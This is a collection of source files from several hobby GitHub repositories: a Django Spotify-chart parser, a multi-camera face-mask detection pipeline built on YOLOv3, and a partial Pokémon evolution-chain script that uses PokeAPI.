false, "language": "Markdown", "length_bytes": 298, "license_type": "no_license", "max_line_length": 96, "num_lines": 4, "path": "/README.md", "repo_name": "A-Alena/music_chart", "src_encoding": "UTF-8", "text": "# music_chart\n\"update_chart/\" - распарсить и сохранить spotify music chart \n\"get_chart/\" - получить весь список чарта \n\"get_chart/?auth_name=Ariana%20Grande\" - получить список по исполнителю (Ariana Grande например) \n" }, { "alpha_fraction": 0.4962518811225891, "alphanum_fraction": 0.5187406539916992, "avg_line_length": 24.653846740722656, "blob_id": "d261982d9a32bc2dcc48e41c5b0e20410a4ca7e8", "content_id": "3b84f210c3d85940c1bef2e9a7e26cb596de6858", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 667, "license_type": "no_license", "max_line_length": 114, "num_lines": 26, "path": "/core/migrations/0001_initial.py", "repo_name": "A-Alena/music_chart", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.4 on 2020-12-20 22:59\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Musician',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('auth_name', models.TextField()),\n ('song_name', models.TextField()),\n ('chart_position', models.IntegerField()),\n ],\n options={\n 'db_table': 'musicians',\n },\n ),\n ]\n" } ]
5
sadanand1120/AI-for-COVID
https://github.com/sadanand1120/AI-for-COVID
7c5c7dab390a957e128349d0dcdabe1391ebbe4c
3781d0c063f8baf9587c1eefec06015d59c74a51
86024654af39eef00e26474ffa8271ec2ebaf416
refs/heads/master
2022-11-26T12:45:34.117823
2020-07-21T07:57:52
2020-07-21T07:57:52
281,309,844
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7859175205230713, "alphanum_fraction": 0.7930298447608948, "avg_line_length": 77.11111450195312, "blob_id": "073faa49c282703c2a00115526914f8a0a190963", "content_id": "8c7b5a9cfa69a8c658a52dbd80fbfdb3f9381496", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1406, "license_type": "permissive", "max_line_length": 419, "num_lines": 18, "path": "/README.md", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "# AI-for-COVID\n\nThere are some changes in both versions due to shift from windows to linux. The linux version uses multiprocessing for creating independent processes one each for each camera input, and for each camera source, it agin splits up the processes for different behaviours. However, because in windows \"forking\" of processes is not available, so the windows version doesn't use multiprocessing and rather uses multithreading.\n\nBoth versions, can be used for any number of behaviours and any number of input sources. (However I had tested for only two videos simultaneously).\n\nThe `scripts/all_behaviours.py` takes care of all behaviour functions we want to include. Currently, it only has one behaviour method `faceMaskDetector` which is used in the `integrating_behaviours.py` script. Other behaviour methods can also be included in the `AllBehaviours` class defined in `all_behaviours.py` script.\n\n## For Using/Testing:\n\nFirst, get the checkpoint file from [here](https://drive.google.com/drive/folders/1UlF6PmTwwd4cm-wD9v6Qy7gbC_tzif_j) and place it in `face-mask_model_info` folder. Then place the two input videos in the `videos/input` folder.\n\nThe main script is `integrating_behaviours.py`. It takes two command line args, one each for two input videos.\n\nExecute the below command in command prompt:\n```\npython integrating_behaviours.py --input1 path/to/video1 --input2 path/to/video2\n```\n" }, { "alpha_fraction": 0.5599297881126404, "alphanum_fraction": 0.5794884562492371, "avg_line_length": 32.512603759765625, "blob_id": "7d3bba572c9d72571af251f61cbcb65bb2efdc30", "content_id": "c3d1d189b3d04e26bca737662572a23008deabab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3988, "license_type": "permissive", "max_line_length": 115, "num_lines": 119, "path": "/linux-version/integrating_behaviours.py", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "import multiprocessing\nimport cv2\nimport imutils\nfrom imutils.video import FPS\nfrom scripts.customFVS import FileVideoStream\nimport argparse\nfrom scripts.all_behaviours import AllBehaviours\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i1\", \"--input1\", required=True, type=str)\nap.add_argument(\"-i2\", \"--input2\", required=True, type=str)\nargs = vars(ap.parse_args())\n\n\ndef preprocess(frame):\n return imutils.resize(frame, width=500)\n\n\ndef overlayAndShow(frame, outputs):\n # Unpack all behaviours outputs\n for cur_behav_out in outputs:\n behav_name = cur_behav_out[0]\n cur_behav_out = cur_behav_out[1:]\n if behav_name == \"Face-mask\":\n for box in cur_behav_out:\n (x1, y1, x2, y2, total_conf, cls_pred) = box # cls_pred == 0 means MASK\n cls_pred = int(cls_pred)\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255 * (1 - cls_pred), 255 * cls_pred), 2)\n return frame\n\n\nclass CustomBehaviourProcess(multiprocessing.Process):\n def __init__(self, inQ, indexB, camind, obj):\n super(CustomBehaviourProcess, self).__init__()\n self.inQ = inQ\n self.indexB = indexB\n self.camind = camind\n self.obj = obj\n\n def run(self):\n global outputQs, NUM_VIDS, NUM_BEHAVIOURS, BEHAVIOURS_NAMES\n while True:\n if self.inQ.qsize() > 0:\n frame = self.inQ.get()\n if frame is None:\n break\n frame = preprocess(frame)\n if BEHAVIOURS_NAMES[self.indexB] == \"Face-mask\":\n out = self.obj.faceMaskDetector(frame)\n # Just for testing, uncomment below line, and comment out above line, for having fixed random\n # output!\n # out = [\"Face-mask\", (1, 1, 20, 20, 0.9, 1), (50, 50, 100, 100, 0.8, 0)]\n outputQs[self.camind][self.indexB].put(out)\n\n\n# Create a subclass of the threading class. This creates a thread for each camera, and overlays our two behaviours\n# onto it. And then outputs the image.\n\nclass CustomMainProcess(multiprocessing.Process):\n def __init__(self, src, ind):\n super(CustomMainProcess, self).__init__()\n global outputQs, NUM_VIDS, NUM_BEHAVIOURS, BEHAVIOURS_NAMES\n self.src = src\n self.ind = ind\n self.obj = AllBehaviours()\n\n def run(self):\n global outputQs, NUM_VIDS, NUM_BEHAVIOURS, BEHAVIOURS_NAMES\n BehavList = []\n self.fvs = FileVideoStream(self.src, queue_size=64, num_queues=1 + NUM_BEHAVIOURS, queue_type=\"mQ\").start()\n self.inputQlist = self.fvs.qlist\n for i in range(NUM_BEHAVIOURS):\n t = CustomBehaviourProcess(self.inputQlist[i + 1], i, self.ind, self.obj)\n t.daemon = True\n t.start()\n BehavList.append(t)\n fpstot = FPS().start()\n while self.fvs.more():\n # take input\n frame = self.fvs.read()\n if frame is None:\n break\n frame = preprocess(frame)\n outs = []\n for i in range(NUM_BEHAVIOURS):\n out = outputQs[self.ind][i].get()\n outs.append(out)\n frame = overlayAndShow(frame, outs)\n cv2.imshow(f\"cam {self.ind}\", frame)\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n fpstot.update()\n self.fvs.stop()\n fpstot.stop()\n print(f\"Fps is {round(fpstot.fps(), 2)} for video {self.ind}\")\n cv2.destroyWindow(f\"cam {self.ind}\")\n\n\noutputQs = []\nNUM_VIDS = 2\nNUM_BEHAVIOURS = 1\nBEHAVIOURS_NAMES = [\"Face-mask\"]\nfor _ in range(NUM_VIDS):\n Blist = []\n for _ in range(NUM_BEHAVIOURS):\n q = multiprocessing.Queue()\n Blist.append(q)\n outputQs.append(Blist)\n\nsrc1 = args[\"input1\"]\nsrc2 = args[\"input2\"]\n\nt1 = CustomMainProcess(src1, 0)\nt2 = CustomMainProcess(src2, 1)\nt1.start()\nt2.start()\nt1.join()\nt2.join()\n" }, { "alpha_fraction": 0.5228050351142883, "alphanum_fraction": 0.5330672860145569, "avg_line_length": 25.57575798034668, "blob_id": "51249a6d77b748629a6597a0f94fa7fb10f1862c", "content_id": "327307c7fe79e319e2c7b0bc4aa86f0b1ec7822b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1754, "license_type": "permissive", "max_line_length": 90, "num_lines": 66, "path": "/linux-version/scripts/customFVS.py", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "# import the necessary packages\nfrom threading import Thread\nimport cv2\nimport time\n\n\nclass FileVideoStream:\n def __init__(self, path, transform=None, queue_size=16, num_queues=1, queue_type=\"Q\"):\n self.stream = cv2.VideoCapture(path)\n self.stopped = False\n self.transform = transform\n self.num_queues = num_queues\n self.queue_type = queue_type\n self.qlist = []\n if self.queue_type == \"mQ\":\n from multiprocessing import Queue\n else:\n from queue import Queue\n for _ in range(self.num_queues):\n q = Queue(maxsize=queue_size)\n self.qlist.append(q)\n self.thread = Thread(target=self.update, args=())\n self.thread.daemon = True\n\n def start(self):\n self.thread.start()\n return self\n\n def update(self):\n while True:\n if self.stopped:\n break\n\n if not self.qlist[0].full():\n (grabbed, frame) = self.stream.read()\n\n if not grabbed:\n self.stopped = True\n\n if self.transform:\n frame = self.transform(frame)\n\n for i in range(self.num_queues):\n self.qlist[i].put(frame)\n else:\n time.sleep(0.1)\n\n self.stream.release()\n\n def read(self):\n return self.qlist[0].get()\n\n def running(self):\n return self.more() or not self.stopped\n\n def more(self):\n tries = 0\n while self.qlist[0].qsize() == 0 and not self.stopped and tries < 5:\n time.sleep(0.1)\n tries += 1\n\n return self.qlist[0].qsize() > 0\n\n def stop(self):\n self.stopped = True\n self.thread.join()\n" }, { "alpha_fraction": 0.7798165082931519, "alphanum_fraction": 0.8348624110221863, "avg_line_length": 10, "blob_id": "e988c432bb141741628b140ca7718349715931df", "content_id": "2749c462623e77d0daa93580380b0cfd125d1794", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 109, "license_type": "permissive", "max_line_length": 18, "num_lines": 10, "path": "/linux-version/requirements.txt", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "numpy\npillow\ntorch==1.4.0\ntqdm\nterminaltables\ntorchvision==0.5.0\nmatplotlib\ntensorboard\nopencv-python\nimutils" }, { "alpha_fraction": 0.5402072072029114, "alphanum_fraction": 0.558954119682312, "avg_line_length": 31.504131317138672, "blob_id": "aa1b9cc40ddca11629a3ffa199714a15809ea0a0", "content_id": "73521e849e72ce7e182de76f3500ac1b68115dd4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4054, "license_type": "permissive", "max_line_length": 114, "num_lines": 121, "path": "/windows-version/integrating_behaviours.py", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "import argparse\r\nimport threading\r\nfrom queue import Queue\r\n\r\nimport cv2\r\nimport imutils\r\nfrom imutils.video import FPS\r\nfrom imutils.video import FileVideoStream\r\n\r\nfrom scripts.all_behaviours import AllBehaviours\r\n\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-i1\", \"--input1\", required=True, type=str)\r\nap.add_argument(\"-i2\", \"--input2\", required=True, type=str)\r\nargs = vars(ap.parse_args())\r\n\r\n\r\ndef preprocess(frame):\r\n return imutils.resize(frame, width=500)\r\n\r\n\r\ndef overlayAndShow(frame, outputs):\r\n # Unpack all behaviours outputs\r\n for cur_behav_out in outputs:\r\n behav_name = cur_behav_out[0]\r\n cur_behav_out = cur_behav_out[1:]\r\n if behav_name == \"Face-mask\":\r\n for box in cur_behav_out:\r\n (x1, y1, x2, y2, total_conf, cls_pred) = box # cls_pred == 0 means MASK\r\n cls_pred = int(cls_pred)\r\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255 * (1 - cls_pred), 255 * cls_pred), 2)\r\n return frame\r\n\r\n\r\nclass CustomBehaviourThread(threading.Thread):\r\n def __init__(self, inQ, indexB, camind, obj):\r\n super(CustomBehaviourThread, self).__init__()\r\n self.inQ = inQ\r\n self.indexB = indexB\r\n self.camind = camind\r\n self.obj = obj\r\n\r\n def run(self):\r\n global outputQs, NUM_VIDS, NUM_BEHAVIOURS, BEHAVIOURS_NAMES\r\n while True:\r\n if not self.inQ.empty():\r\n frame = list(self.inQ.queue)[0] # basically its just inQ.get() but without removing!\r\n if frame is None:\r\n break\r\n frame = preprocess(frame)\r\n if BEHAVIOURS_NAMES[self.indexB] == \"Face-mask\":\r\n out = self.obj.faceMaskDetector(frame)\r\n # Just for testing, uncomment below line, and comment out above line, for having fixed random\r\n # output!\r\n # out = [\"Face-mask\", (1, 1, 20, 20, 0.9, 1), (50, 50, 100, 100, 0.8, 0)]\r\n outputQs[self.camind][self.indexB].put(out)\r\n\r\n\r\n# Create a subclass of the threading class. This creates a thread for each camera, and overlays our two behaviours\r\n# onto it. And then outputs the image.\r\n\r\nclass CustomMainThread(threading.Thread):\r\n def __init__(self, src, ind):\r\n super(CustomMainThread, self).__init__()\r\n self.src = src # the input camera/video source link\r\n self.fvs = FileVideoStream(self.src, queue_size=64).start()\r\n self.ind = ind\r\n self.inputQ = self.fvs.Q\r\n self.obj = AllBehaviours()\r\n\r\n def run(self):\r\n global outputQs, NUM_VIDS, NUM_BEHAVIOURS, BEHAVIOURS_NAMES\r\n BehavList = []\r\n for i in range(NUM_BEHAVIOURS):\r\n t = CustomBehaviourThread(self.inputQ, i, self.ind, self.obj)\r\n t.daemon = True\r\n t.start()\r\n BehavList.append(t)\r\n fpstot = FPS().start()\r\n while self.fvs.more():\r\n # take input\r\n frame = self.fvs.read()\r\n if frame is None:\r\n break\r\n frame = preprocess(frame)\r\n outs = []\r\n for i in range(NUM_BEHAVIOURS):\r\n out = outputQs[self.ind][i].get()\r\n outs.append(out)\r\n frame = overlayAndShow(frame, outs)\r\n cv2.imshow(f\"cam {self.ind}\", frame)\r\n key = cv2.waitKey(1) & 0xFF\r\n if key == ord(\"q\"):\r\n break\r\n fpstot.update()\r\n self.fvs.stop()\r\n fpstot.stop()\r\n print(f\"Fps is {round(fpstot.fps(), 2)} for video {self.ind}\")\r\n cv2.destroyWindow(f\"cam {self.ind}\")\r\n\r\n\r\noutputQs = []\r\nNUM_VIDS = 2\r\nNUM_BEHAVIOURS = 1\r\nBEHAVIOURS_NAMES = [\"Face-mask\"]\r\nfor _ in range(NUM_VIDS):\r\n Blist = []\r\n for _ in range(NUM_BEHAVIOURS):\r\n q = Queue()\r\n Blist.append(q)\r\n outputQs.append(Blist)\r\n\r\nsrc1 = args[\"input1\"]\r\nsrc2 = args[\"input2\"]\r\n\r\nt1 = CustomMainThread(src1, 0)\r\nt2 = CustomMainThread(src2, 1)\r\nt1.start()\r\nt2.start()\r\nt1.join()\r\nt2.join()\r\n" }, { "alpha_fraction": 0.5433763265609741, "alphanum_fraction": 0.5712192058563232, "avg_line_length": 43.49333190917969, "blob_id": "e217138b37d3397c55b4f73523d669e0ca8b870b", "content_id": "f947289da9d89afe2af5b7427856a79396209721", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3412, "license_type": "permissive", "max_line_length": 107, "num_lines": 75, "path": "/windows-version/scripts/all_behaviours.py", "repo_name": "sadanand1120/AI-for-COVID", "src_encoding": "UTF-8", "text": "import cv2\r\nimport numpy as np\r\nimport torch\r\nfrom torch.autograd import Variable\r\n\r\nfrom scripts.models import Darknet\r\nfrom scripts.utils import load_classes, non_max_suppression_output\r\n\r\n\r\nclass AllBehaviours:\r\n def __init__(self):\r\n # Face-Mask Detection\r\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n self.model = Darknet(\"face-mask_model_info\\\\yolov3_mask.cfg\", img_size=416).to(self.device)\r\n # Load checkpoint (ie, weights)\r\n self.model.load_state_dict(\r\n torch.load(\"face-mask_model_info\\\\yolov3_ckpt_35.pth\", map_location=torch.device(\"cpu\")))\r\n self.model.eval()\r\n self.classes = load_classes(\"face-mask_model_info\\\\mask_dataset.names\")\r\n self.Tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.FloatTensor\r\n self.mul_constant = None\r\n self.x = None\r\n self.y = None\r\n self.v_height = None\r\n self.v_width = None\r\n self.start_new_i_height = None\r\n self.start_new_i_width = None\r\n\r\n def faceMaskDetector(self, frame):\r\n if self.mul_constant is None:\r\n self.v_height, self.v_width = frame.shape[:2]\r\n # For a black image\r\n self.x = self.y = self.v_height if self.v_height > self.v_width else self.v_width\r\n # Putting original image into black image\r\n self.start_new_i_height = int((self.y - self.v_height) / 2)\r\n self.start_new_i_width = int((self.x - self.v_width) / 2)\r\n # For accommodate results in original frame\r\n self.mul_constant = self.x / 416\r\n\r\n org_frame = frame\r\n # Black image\r\n frame = np.zeros((self.x, self.y, 3), np.uint8)\r\n frame[self.start_new_i_height: (self.start_new_i_height + self.v_height),\r\n self.start_new_i_width: (self.start_new_i_width + self.v_width)] = org_frame\r\n # resizing to [416x 416]\r\n frame = cv2.resize(frame, (416, 416))\r\n # [BGR -> RGB]\r\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n # [[0...255] -> [0...1]]\r\n frame = np.asarray(frame) / 255\r\n # [[3, 416, 416] -> [416, 416, 3]]\r\n frame = np.transpose(frame, [2, 0, 1])\r\n # [[416, 416, 3] => [416, 416, 3, 1]]\r\n frame = np.expand_dims(frame, axis=0)\r\n # [np_array -> tensor]\r\n frame = torch.Tensor(frame)\r\n # [tensor -> variable]\r\n frame = Variable(frame.type(self.Tensor))\r\n\r\n # Get detections\r\n with torch.no_grad():\r\n detections = self.model(frame)\r\n detections = non_max_suppression_output(detections, conf_thres=0.8, nms_thres=0.3) # [tensor(...)]\r\n detections = detections[0] # tensor(...)\r\n final_detects = [\"Face-mask\"]\r\n if detections is not None:\r\n for x1, y1, x2, y2, conf, cls_conf, cls_pred in detections:\r\n # Accommodate bounding box in original frame\r\n x1 = int(x1 * self.mul_constant - self.start_new_i_width)\r\n y1 = int(y1 * self.mul_constant - self.start_new_i_height)\r\n x2 = int(x2 * self.mul_constant - self.start_new_i_width)\r\n y2 = int(y2 * self.mul_constant - self.start_new_i_height)\r\n total_conf = conf * cls_conf\r\n final_detects.append((x1, y1, x2, y2, total_conf, cls_pred))\r\n return final_detects\r\n" } ]
6
vodiniz/dinidex
https://github.com/vodiniz/dinidex
f862dc1b4dab35fcc22e3d5089a7ecbec9fc96d5
4a2d92deb2e07bd5ff7efea6c1c092b9b76fa508
a4b87100901b9b1debd78be8096434b40f997343
refs/heads/master
2023-06-26T19:12:47.637126
2021-07-26T03:28:36
2021-07-26T03:28:36
383,902,742
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.555747926235199, "alphanum_fraction": 0.5624819397926331, "avg_line_length": 32.42122268676758, "blob_id": "74ba0de5d8280951e82a1cf80df38bb56a23fd3d", "content_id": "d32cb9f066bd1cc155795e70770b7b7452b05d4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10478, "license_type": "no_license", "max_line_length": 121, "num_lines": 311, "path": "/evolution_api_enxugada.py", "repo_name": "vodiniz/dinidex", "src_encoding": "UTF-8", "text": "import json\nimport requests\nimport pypokedex\n\ndef call_pokemon(input):\n try:\n input = int(input)\n pokemon = pypokedex.get(dex=input)\n except:\n pokemon = pypokedex.get(name=input)\n\n return pokemon\n\n\ndef get_species_json(pokemon):\n pokemon_api = requests.get(url='https://pokeapi.co/api/v2/pokemon/{}'.format(pokemon.dex))\n pokemon_json = json.loads(pokemon_api.text)\n species_details = (pokemon_json['species'])\n name, species_url = species_details['name'], species_details['url']\n species_api = requests.get(species_url)\n species_json = json.loads(species_api.text)\n\n return species_json, species_url\n\ndef get_evolution_json(species_json):\n evolution_url = species_json['evolution_chain']['url']\n evolution_id = (evolution_url.split('/'))[-2]\n evolution_page = requests.get(evolution_url)\n evolution_json = json.loads(evolution_page.text)\n\n return evolution_json, evolution_url\n\ndef get_simple_evolution_list(evolution_json):\n\n first_evolution_pokemon = call_pokemon(evolution_json['chain']['species']['name'])\n\n second_evolution_pokemon = get_evolution(first_evolution_pokemon, evolution_json)\n third_evolution_pokemon = []\n\n for evolution in second_evolution_pokemon:\n third_evolution_pokemon = third_evolution_pokemon + get_evolution(evolution, evolution_json)\n \n\n if second_evolution_pokemon == None:\n print('{} '.format(first_evolution_pokemon.name))\n return first_evolution_pokemon\n\n else:\n pass\n\n if third_evolution_pokemon == None:\n print(first_evolution_pokemon.name, '->', end = '')\n for evolution in second_evolution_pokemon:\n if second_evolution_pokemon.index(evolution) != 0:\n print('/', end = '')\n print(evolution.name)\n \n second_evolution_pokemon.insert(0, first_evolution_pokemon)\n return second_evolution_pokemon\n\n else:\n print(first_evolution_pokemon.name, '-> ', end = '')\n for evolution in second_evolution_pokemon:\n if second_evolution_pokemon.index(evolution) != 0:\n print(' / ', end = '')\n print(evolution.name, end ='')\n print(' -> ', end = '')\n for evolution in third_evolution_pokemon:\n if third_evolution_pokemon.index(evolution) != 0:\n print(' / ', end = '')\n print(evolution.name, end ='')\n print('')\n second_evolution_pokemon.insert(0, first_evolution_pokemon)\n return second_evolution_pokemon + third_evolution_pokemon\n\n\n \ndef get_evo_line_lenght(evolution_json):\n evolution_line_lenght = 1\n try:\n second_evolution = evolution_json['chain']['evolves_to'][0]['species']['name']\n evolution_line_lenght = evolution_line_lenght + 1\n \n except:\n pass\n \n try:\n third_evolution = evolution_json['chain']['evolves_to'][0]['evolves_to'][0]['species']['name']\n evolution_line_lenght = evolution_line_lenght + 1\n\n except:\n pass\n return evolution_line_lenght \n \ndef check_base_forms(species_json):\n\n for element in species_json['varieties']:\n if (element['is_default'] == True):\n pass\n\n if (element['is_default'] == False ):\n \n if ('alola' in element['pokemon']['name']) or ('galar' in element['pokemon']['name']):\n base_forms = base_forms + 1\n\n return base_forms\n\n\ndef check_1_evo_base_forms(species_json):\n base_forms = 1\n if species_json['evolves_from_species'] == None:\n pass\n else:\n json_page = requests.get(species_json['evolves_from_species']['url'])\n species_json = json.loads(json_page.text) \n for element in species_json['varieties']:\n if (element['is_default'] == True):\n pass\n\n if (element['is_default'] == False ):\n \n if ('alola' in element['pokemon']['name']) or ('galar' in element['pokemon']['name']):\n base_forms = base_forms + 1\n\n return base_forms\n\n\ndef get_alternate_forms(species_json):\n alternate_form_list = []\n for element in species_json['varieties']:\n if (element['is_default'] == True):\n pass\n\n if (element['is_default'] == False ):\n \n if ('alola' in element['pokemon']['name']) or ('galar' in element['pokemon']['name']):\n alternate_form_list.append(call_pokemon(element['pokemon']['name']))\n \n if len(alternate_form_list) > 0:\n return alternate_form_list\n else:\n return None\n\ndef check_branched_evolution(species_json, evolution_json):\n evo_lenght = get_evo_line_lenght(evolution_json)\n second_evo_branches = 0\n third_evo_branches = 0\n branched_evolution = False\n alternate_form_list = None\n pokemon_2_evolution = None\n try:\n second_evolution = evolution_json['chain']['evolves_to']\n evolution_list = []\n for evolution in second_evolution:\n pokemon_name = evolution['species']['name']\n evolution_list.append(pokemon_name)\n pokemon_2_evolution = call_pokemon(pokemon_name)\n pokemon_2_evolution_species_json = get_species_json(pokemon_2_evolution)\n alternate_form_list = get_alternate_forms(pokemon_2_evolution_species_json)\n \n if alternate_form_list == None:\n pass\n else:\n if len(alternate_form_list) >= len(check_1_evo_base_forms):\n for alternate_form in alternate_form_list:\n evolution_list.append(alternate_form)\n\n if len(evolution_list)>1:\n print('branched evolution')\n branched_evolution = True\n second_evo_branches = len(evolution_list)\n \n try:\n another_evolution_list = []\n for evolution in second_evolution:\n for another_evolution in evolution['evolves_to']:\n another_evolution_list.append(another_evolution['species']['name'])\n pokemon_3_evolution = call_pokemon(pokemon_name)\n pokemon_3_evolution_species_json = get_species_json(pokemon_3_evolution)\n alternate_form_list = get_alternate_forms(pokemon_3_evolution_species_json)\n\n if alternate_form_list == None:\n pass\n else:\n if len(alternate_form_list) >= len(check_1_evo_base_forms):\n for alternate_form in alternate_form_list:\n another_evolution_list.append(alternate_form)\n\n if len(another_evolution_list) > 1:\n #branched third evo\n branched_evolution = True\n third_evo_branches = len(another_evolution_list)\n\n except:\n pass\n \n except:\n pass\n return branched_evolution, second_evo_branches, third_evo_branches\n\n\ndef print_evo_tree(pokemon, species_json, evolution_json):\n base_forms = check_base_forms(species_json)\n evo_lenght = get_evo_line_lenght(evolution_json)\n\n if evo_lenght ==1:\n print('■')\n\n if evo_lenght == 2:\n if base_forms == 3:\n #forma meowth\n print('■ -> ■ ')\n print('■ -> ■ ')\n print('■ -> ■ ')\n\n if base_forms == 2:\n #conferir se é slowbro ou evoluçao normal\n if check_branched_evolution(species_json, evolution_json):\n print(' ■')\n print('■ <')\n print(' ■')\n print('')\n print(' ■')\n print('■ <')\n print(' ■')\n \n if base_forms == 1 :\n branched_evo, second_evo_branches, third_evo_branches = check_branched_evolution(species_json,evolution_json)\n if branched_evo:\n if (second_evo_branches == 8):\n #evee\n print('■ ■ ■')\n print(' ↖ ↑ ↗')\n print('■ ← ■ → ■')\n print(' ↙ ↓ ↘')\n print('■ ■ ■')\n\n if (second_evo_branches == 3):\n #TYROGUE\n print(' -> ■ ')\n print('■ -> ■ ')\n print(' -> ■ ')\n\n if second_evo_branches == 2:\n #CUBONE\n print(' ■')\n print('■ <')\n print(' ■') \n\n if evo_lenght == 3:\n if check_branched_evolution:\n print('branched evolution')\n\n else:\n print('■ -> ■ -> ■') \n \n\n\ndef get_evolution(pokemon, evolution_json):\n #PROBLEMAS COM 3 EVOLUÇAO FAZER O CHECK\n return_list = []\n third_evo_check = False\n try: \n if pokemon.name == evolution_json['chain']['species']['name']:\n for pokemon1 in evolution_json['chain']['evolves_to']:\n return_list.append(call_pokemon(pokemon1['species']['name']))\n except:\n return None\n \n try:\n for pokemon1 in evolution_json['chain']['evolves_to']:\n if pokemon.name == pokemon1['species']['name']:\n for pokemon2 in pokemon1['evolves_to']:\n return_list.append(call_pokemon(pokemon2['species']['name']))\n except:\n pass\n return return_list\n\n\ndef test_return_evolution(pokemon):\n species_json, species_url = get_species_json(pokemon)\n evolution_json, evolution_url = get_evolution_json(species_json)\n return_pokemon = 1 #get_evolution(pokemon, evolution_json)\n get_simple_evolution_list(evolution_json)\n return return_pokemon\n\n\ndef get_evo_layout(pokemon):\n species_json, species_url = get_species_json(pokemon)\n evolution_json, evolution_url = get_species_json\n print('species url:'+species_url)\n print('evolution url:'+evolution_url)\n\n return\n\n\n\n\n\nif __name__ == \"__main__\":\n\n # # get_evolution_json(call_pokemon(52))\n # # get_evolution_json(call_pokemon(79))\n # # get_evolution_json(call_pokemon(133))\n # get_evolution_json(call_pokemon(122))\n # get_evolution_json(call_pokemon(862))\n # get_evolution_json(call_pokemon(104))\n # #next_evo = get_evolution(call_pokemon(2))\n # #check_regional_form(call_pokemon(19))\n\n test_return_evolution(call_pokemon(input()))\n\n" }, { "alpha_fraction": 0.5566649436950684, "alphanum_fraction": 0.5625321865081787, "avg_line_length": 30.849180221557617, "blob_id": "28be26ea3de87891785c3e948cf016105248feb3", "content_id": "b092df64ee3ce25d652164ddcde38df5a6d8cb77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9799, "license_type": "no_license", "max_line_length": 121, "num_lines": 305, "path": "/evolution_api.py", "repo_name": "vodiniz/dinidex", "src_encoding": "UTF-8", "text": "import json\nimport requests\nimport pypokedex\n\ndef call_pokemon(input):\n try:\n input = int(input)\n pokemon = pypokedex.get(dex=input)\n except:\n pokemon = pypokedex.get(name=input)\n\n return pokemon\n\ndef get_evolution_json(pokemon):\n\n species_json= get_species_json(pokemon)\n\n #falta - pode criar funçao para pegar evolution json \n evolution_url = species_json['evolution_chain']['url']\n\n print('evolution url:'+evolution_url)\n evolution_id = (evolution_url.split('/'))[-2]\n \n evolution_page = requests.get(evolution_url)\n evolution_json = json.loads(evolution_page.text)\n\n evolution_chain_type(evolution_json)\n evolution_tree(pokemon,species_json, evolution_json)\n print('----------')\n\n return evolution_chain_type\n\n\ndef evolution_chain_type(json):\n\n first_evolution = json['chain']['species']['name']\n second_evolution = None;\n third_evolution = None;\n\n try:\n second_evolution = json['chain']['evolves_to'][0]['species']['name']\n\n except IndexError:\n print('{} '.format(first_evolution))\n \n try:\n third_evolution = json['chain']['evolves_to'][0]['evolves_to'][0]['species']['name']\n print('{} -> {} -> {}'.format(first_evolution, second_evolution,third_evolution))\n\n except IndexError:\n if second_evolution == None:\n pass\n else:\n\n print('{} -> {}'.format(first_evolution, second_evolution))\n\n\n if third_evolution != None:\n return first_evolution+second_evolution+third_evolution\n\n if second_evolution != None:\n return first_evolution+second_evolution\n\n else:\n return first_evolution \n\n\ndef evolution_tree(pokemon, species_json, evolution_json,):\n base_forms = check_base_forms(species_json)\n evo_lenght = get_evo_line_lenght(evolution_json)\n\n if evo_lenght ==1:\n print('■')\n\n if evo_lenght == 2:\n if base_forms == 3:\n #forma meowth\n print('■ -> ■ ')\n print('■ -> ■ ')\n print('■ -> ■ ')\n\n if base_forms == 2:\n #conferir se é slowbro ou evoluçao normal\n if check_branched_evolution(species_json, evolution_json):\n print(' ■')\n print('■ <')\n print(' ■')\n print('')\n print(' ■')\n print('■ <')\n print(' ■')\n \n if base_forms == 1 :\n branched_evo, second_evo_branches, third_evo_branches = check_branched_evolution(species_json,evolution_json)\n if branched_evo:\n if (second_evo_branches == 8):\n #evee\n print('■ ■ ■')\n print(' ↖ ↑ ↗')\n print('■ ← ■ → ■')\n print(' ↙ ↓ ↘')\n print('■ ■ ■')\n\n if (second_evo_branches == 3):\n #TYROGUE\n print(' -> ■ ')\n print('■ -> ■ ')\n print(' -> ■ ')\n\n if second_evo_branches == 2:\n #CUBONE\n print(' ■')\n print('■ <')\n print(' ■') \n\n if evo_lenght == 3:\n if check_branched_evolution:\n print('branched evolution')\n\n else:\n print('■ -> ■ -> ■') \n\n \ndef get_evolution(pokemon):\n pokemon_api = requests.get(url='https://pokeapi.co/api/v2/pokemon/{}'.format(pokemon.dex))\n pokemon_json = json.loads(pokemon_api.text)\n\n species_details = 